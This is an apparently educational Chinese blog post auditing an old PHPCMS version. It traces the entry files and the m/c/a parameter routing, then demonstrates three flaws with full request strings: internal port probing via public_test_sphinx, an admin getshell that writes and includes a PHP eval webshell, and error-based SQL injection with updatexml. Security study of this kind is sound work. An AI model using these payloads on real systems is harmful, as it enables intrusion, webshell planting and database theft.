作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途



phpcms代码审计


代码审计-phpcms

最近在学习php代码审计,各种复现、各种测试搞得我头昏脑胀。网上很多代码审计的复现博客看似讲的很清楚,最后自己也复现出来了,但是很多小白(比如我)以为懂了这个漏洞,但实际连参数都不知道怎么传进去的。

跟着反向追踪传参过程是很快速高效,但遇到那种框架写的cms就懵逼了,找不到被利用的点,找不到为啥会被传进参数来。。。

所以,该来的还是要来的,正向通读代码。

(代码审计当然要提前搭建一个简单好用的环境、还要有个趁手的编辑器)

低版本phpcms

phpcms虽然已经停止维护了,但不妨碍我们拿来学习审计,小白最好还是找个简单、低版本的开始审计。

通读代码

目录结构

代码审计-phpcms_sphinx

打开代码,首先观察目录结构

可以看到,根目录下有四个php文件(称之为入口文件)

​admin.php、api.php、index.php、plugin.php​

四个文件什么功能一目了然啊。

然后是好几个文件夹,

api下存放api接口文件
caches下存放缓存、备份文件等等
html下是空的暂时不提
phpcms下存放大部分的模块、模板、插件等等
phpsso_server是一个安装过程选择的功能,暂时不管
static下存放各种css,js静态文件
uploadfile顾名思义存放上传的文件

网站入口

正常来说inde.php就是整个网站的入口,直接看index.php做了什么

代码审计-phpcms_安全_02

先定义了一个常量

(在审计过程中,会遇到很多常量,我们可以使用​​get_defined_constant()​​函数将所有常量打印出来,然后用哪个查哪个)

13行包含了​​/pnpcms/base.php​​文件,那过去看看

代码审计-phpcms_sphinx_03

可以看到这是框架的入口,定义了许多常量

然后29-33行加载了两个函数库和一个配置文件system,使用了自动加载函数​​auto_load_func()​

代码审计-phpcms_加载_04

先不看加载了什么函数库,先去看看怎么加载的

在62行往后,定义了​​pc_base​​类,然后通读一下这个类的各种函数

代码审计-phpcms_代码审计_05

返回头看上面加载的几个函数库

加载global使用的​​pc_base​​类的​​load_sys_func()​​函数

找到函数定义位置,global传参到​​$func​

代码审计-phpcms_代码审计_06

141行,这个函数引用了自身类的​​_load_func()​​函数,global传参到 ​​$func​

代码审计-phpcms_sphinx_07

阅读函数,可以了解到212行构造了路径​​$path=libs\functions\global.func.php​

215行判断文件是否存在,并包含该文件。

发现是加载了公共函数库,里面基本是cms所用到各种公共函数,通读一下,看看各种过滤函数,然后特别注意各种可以用的函数。

同样看看​​extention.func.php​​,结果是自定义函数库没东西

代码审计-phpcms_php_08

查看自动加载函数

找到​​auto_load_func()​​定义位置,

代码审计-phpcms_php_09

149行使用了​​_auto_load_func()​

代码审计-phpcms_安全_10

阅读发现自动包含​​libs\functions\autoload\​​下的所有​​.func.php​​文件,找到文件通读代码。

跳回index.php

阅读完加载的函数库后,发现一个问题,网站咋加载呢。

大意了啊,回到​​index.php​​,发现使用了​​creat_app()​​函数

代码审计-phpcms_安全_11

再次回去,看看是怎么加载网站的,使用了​​load_sys_class()​​函数传入参数​​application​

代码审计-phpcms_php_12

77行使用了​​_load_class()​​函数

代码审计-phpcms_php_13

经几个逻辑判断,构造路径,然后包含了​​phpcms\libs\classes\application.class.php​​文件

在下面发现实例化了一个类​​$classes[$key] = new $name;​​$name传参是application

哪来的这个类,请看​​phpcms\libs\classes\application.class.php​

参数传递

打开文件,定义了一个类​​appliaction​

而且该类被上面函数实例化,直接触发了​​__construct()​​魔术方法

代码审计-phpcms_加载_14

同样使用​​load_sys_class()​​加载了​​param.class.php​​参数处理类文件,

并实例化​​param​​类,使用​​param​​类的三个函数

代码审计-phpcms_加载_15

三个方法通过GET或者POST传入了三个参数m,c,a

m是模型,c是控制器,a是事件

代码审计-phpcms_代码审计_16

传入的参数在​​application​​类中定义为三个常量,并使用​​init()​​进行初始化

代码审计-phpcms_安全_17

阅读appliction类发现,该类通过m,c,a三个参数来加载整个网站的应用

m是加载phpcms\modules\目录下的模块,也就是文件夹
c是加载模块下的控制器,也就是php文件
a是控制器里面的事件,也就是php文件里面的函数

代码审计-phpcms_sphinx_18


比如:想使用admin模块下database.php控制器的export()函数
传参:index.php?m=admin&c=database&a=export


知道了参数的传参方式,想反向找利用点就简单多了。

开始审计

知道了m,c,a参数的含义,​​phpcms\modules\​​下的函数就可以轻松利用了

端口探测

在​​phpcms\modules\search\search_admin.php​​文件内有个​​public_test_sphinx()​​函数

代码审计-phpcms_php_19

105行发现一个​​sockopen()​​函数,用来打开一个网络连接或者一个Unix套接字连接

post传入的​​sphinxhost​​和​​sphinxport​​没有进行过滤

sphinxhost是ip地址、sphinxport是端口

这样我们可以通过这个函数进行内网端口探测

http://192.168.1.1/index.php?m=search&c=search_admin&a=public_test_sphinx  post:sphinxhost=127.0.0.1&sphinxport=3306 

代码审计-phpcms_代码审计_20

经测试,当内网端口存在时返回1

不存在时返回10060

代码审计-phpcms_安全_21

后台Getshell

在​​phpcms\modules\dbsource\data.php​​文件里有个​​add()​​函数

代码审计-phpcms_安全_22

在82行有个​​file_put_content()​​函数,将​​$str​​写入​​caches\caches_template\dbsource\$id.php​​文件当中

代码审计-phpcms_安全_23

追踪​​$str​​来源,原来是查询了数据库的​​$id​​行​​template​​的值

往上看代码,62行发现​​template​​值可以post控制,其他的​​name,type,dis_type,cache,num​​都由上面post传入,

70行将内容插入了数据库当中。记住​​dis_type=3​​后面有用

代码审计-phpcms_代码审计_24

既然参数都可控,那就post传入所需要的值,

template传入一句话木马,使逻辑能跑到​​file_put_contents​​函数。

192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKR  post:dosubmit=1&name=666&dis_type=3&type=1&data=select 1&template=<?php @eval($_GET[xg]);?>&num=1&cache=2 

这里测试发现需要登录后台,那就算个后台getshell了,登录后台给了个​​pc_hash=saLcKR​

代码审计-phpcms_安全_25

结果发现没什么响应

不急,去​​caches\caches_template\dbsource\​​下发现多了个文件39.php,成功写入了一句话木马。

代码审计-phpcms_sphinx_26

这里虽然成功写入了一句话,但发现前面有个限制

如果没定义​​IN_PHPCMS​​常量,就​​exit​​退出,说明不能直接访问,这不白传了吗。

但仔细思考,不能直接访问,那就说明这个文件是用来被包含的。

那就直接搜谁包含此文件,但这个文件名是动态生成的,所以我们得搜他所在的目录​​dbsource​

代码审计-phpcms_加载_27

发现全局函数库中有个​​template_url()​​函数构造了我们需要被引用的路径

代码审计-phpcms_php_28

逻辑就是传入id,判断文件是否存在,不存在就构建,存在就返回路径

返回的路径有了,那就看看这个函数被谁引用了

在​​phpcms\modules\dbsource\call.php​​的​​_format​​函数中使用了此方法

代码审计-phpcms_安全_29

当​​$type为3​​时

65行进行文件包含。既然文件包含出来了,说明可以利用

继续看看​​_format()​​函数被谁使用,由于是private定义,所以只能在此文件内搜索

然后在​​get()​​函数的39行发现使用的​​_format()​​函数

代码审计-phpcms_代码审计_30

id是通过我们GET传参控制,​​$str​​​与我们无关,关键是​​$data['dis_type']​​要等于3

​$data​​哪来的呢?

发现11行进行了sql查询,正是我们刚开始写一句话时候的传入的​​dis_type=3​

那利用直接一目了然,只传参​​$id​​就可

192.168.1.1/index.php?m=dbsource&c=call&a=get&id=39&xg=phpinfo(); 

代码审计-phpcms_sphinx_31

起飞

SQL注入

其实在​​phpcms\modules\dbsource\data.php​​文件​​add()​​函数里

在第33行有个参数​​data​​,为自定义sql

代码审计-phpcms_加载_32

在我们测试上面getshell过程中发现,如果data随便传入一个数据​​1233​

进行包含一句话文件时候,会出现SQL语句报错,这意味着这里执行了SQL语句。

代码审计-phpcms_php_33

那漏洞来了,我们在data传入sql语句呢?

先来个报错注入

192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKR  post:dosubmit=1&name=667&dis_type=3&type=1&data=select 1 and updatexml(1,concat(1,user(),0x7e,database(),0x7e,version()),1)&template=<?php @eval($_GET[xg]);?>&num=1&cache=2 

发现依旧在​​caches\caches_template\dbsource\​​​下生成了​​40.php​

192.168.1.1/index.php?m=dbsource&c=call&a=get&id=40 

代码审计-phpcms_代码审计_34

起飞